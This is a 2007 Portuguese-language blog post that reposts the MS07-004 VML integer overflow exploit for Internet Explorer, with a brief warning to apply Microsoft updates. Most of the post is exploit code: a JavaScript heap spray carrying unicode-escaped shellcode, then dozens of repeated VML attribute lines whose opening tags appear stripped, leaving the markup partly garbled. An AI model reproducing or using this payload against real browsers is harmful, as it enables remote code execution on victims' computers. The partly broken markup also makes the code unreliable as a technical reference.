MSIE, VML Remote Buffer Overflow Exploit (MS07-004)
Foi encontrada uma falha no MSIE7, o MS07-004 VML integer overflow exploit por 'lifeasageek at gmail.com'. Aconselha-se atenção às actualizações provenientes a partir da Microsoft, ou a utilizar outro browser.
Todos os javascripts utilizados são baseados no MS06-055 exploit escrito por by Trirat Puttaraksa (Kira) 'trir00t at gmail.com', e ligeiramente modificados.
Exemplo de código:
-
<object id="VMLRender">
-
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
-
</object>
-
-
<style> v\:* { behavior: url(#VMLRender); } </style><script language="javascript"> shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
-
-
bigblock = unescape("%u0505%u0505"); headersize = 20; slackspace = headersize+shellcode.length; while (bigblock.length<slackspace ) bigblock+=bigblock; fillblock = bigblock.substring(0, slackspace); block = bigblock.substring(0, bigblock.length-slackspace); while(block.length+slackspace<0x40000) block = block+block+fillblock; memory = new Array(); for (i=0;i<350;i++) memory[i] = block + shellcode;
-
-
</script>
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
-
-
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
-
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
This entry was posted by ponto on Wednesday, January 17th, 2007 at 9:42 pm and is filed under Microsoft, Segurança. You can follow any responses to this entry through the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is currently not allowed.
17/01/07 at 22:06
Just use lynx! Or better don't use the 'tubes'.